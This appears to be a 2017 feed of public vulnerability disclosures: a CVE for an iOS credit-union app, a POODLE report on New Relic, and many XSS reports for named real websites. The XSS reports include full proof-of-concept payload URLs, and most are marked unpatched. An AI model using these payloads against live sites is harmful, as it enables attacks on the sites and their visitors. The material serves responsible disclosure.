CVE-2017-5916

The America's First Federal Credit Union FCU Mobile Banking app 3.1.0 for iOS does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate...

br.gnome.org XSS vulnerability

Vulnerable URL:...

livfurniture.co.uk XSS vulnerability

Vulnerable URL: http://www.livfurniture.co.uk/sitemap.jsp?a=test%22%27--!%3E%3CImage%0CSrcset%3DK%0COnerror%3DconfirmOPENBUGBOUNTY%0C Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 12600887 VIP website status:| ...

valenciacf.com XSS vulnerability

Vulnerable URL: http://www.valenciacf.com/nodos/buscar?buscar=%22/%3E%3Cscript%3Ealert%27OPENBUGBOUNTY%27%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 135328 VIP...

curryfrenzy.com XSS vulnerability

Vulnerable URL:...

2ch-2.net XSS vulnerability

Vulnerable URL: http://2ch-2.net/search/?q=%3C%2Fscript%3E%22%3E%3Cscript%3Eprompt%28%2FOPENBUGBOUNTY%2F%29%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 20124 VIP...

oyuncenneti.com XSS vulnerability

Vulnerable URL: http://www.oyuncenneti.com/oyunara.asp?aranan= Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 357044 VIP website status:| No Check oyuncenneti.com SSL connection:|...

hhgmoerkapelle.nl XSS vulnerability

Vulnerable URL: http://www.hhgmoerkapelle.nl/zoeken?pagina=1=%27%22--!%3E%3Cimg%20src=x%20onerror=alert%22openbugbounty%22%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown...

neil.cps.edu XSS vulnerability

Vulnerable URL: http://neil.cps.edu/apps/video/list.jsp?q=ID=ID=="--!" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check...

caseih.com XSS vulnerability

Vulnerable URL: https://www.caseih.com/emea/de-de/Pages/Search.aspx?sText=%3E%27%3E%22%3E%3Csvg%2Fonload%3Dalert%27xssposed%27%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

ecampus.ba XSS vulnerability

Vulnerable URL: http://www.ecampus.ba/show.aspx?xid=%3C/script%3E%3Cimg%20src=x%20onerror=prompt/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 802864 VIP website...

New Relic: SSL Padding Oracle On Downgraded Legacy Encryption (POODLE) Vulnerability

Hi, I get in touch to report that cloud.newrelic.com is vulnerable to CVE-2014-3566 POODLE. Websites that support SSLv3 and CBC-mode ciphers are potentially vulnerable to an active MITM Man-in-the-middle attack. This attack, called POODLE, is similar to the BEAST attack and also allows a network...

printmyribbon.co.uk XSS vulnerability

Vulnerable URL: http://printmyribbon.co.uk/order.php?prodtype=banner"';-- Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check...

villedecers.fr XSS vulnerability

Vulnerable URL: http://www.villedecers.fr/modules/wsImagemanager/index.php?categoryid=141id=53 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website...

gazette.vic.gov.au XSS vulnerability

Vulnerable URL: http://www.gazette.vic.gov.au/gazettebin/gazettearchives.cfm?bct=sitemap%7Crecentgazettes%7Cgazettearchives%3C!%27/!%22/!%27/%22/--!%3E%3C/Title/%3C/script/%3E%3CInput/Autofocus/%0D/Onfocus=confirmXSSPOSED%20//%3E%3CSvg%3E Details: Description| Value ---|--- Patched:| No Latest...

zhi.mua.hrdepartment.com XSS vulnerability

Vulnerable URL: https://zhi.mua.hrdepartment.com/hr/ats/JobSearch/viewAll/"onclick=alert/OPENBUGBOUNTY/CLICK HERE Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

Followers for Instagram - BSD license, Customized SSL, Dangerous filesystem permissions vulnerabilities

HackApp vulnerability scanner discovered that application Followers for Instagram published at the 'play' market has multiple vulnerabilities...

oneway-au.com XSS vulnerability

Vulnerable URL: http://www.oneway-au.com/browse.php?q=" xany Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 8222972 VIP website status:| No Check oneway-au.com SSL connection:|...

n2npropertypoint.com XSS vulnerability

Vulnerable URL: http://n2npropertypoint.com/login.php?err=%22%3E%3Csvg/onload=confirm/openbugbounty/%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check...

soberliving.interventionamerica.org XSS vulnerability

Vulnerable URL: http://soberliving.interventionamerica.org/listing.cfm?DrugRehabID=13783"--!"' Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check...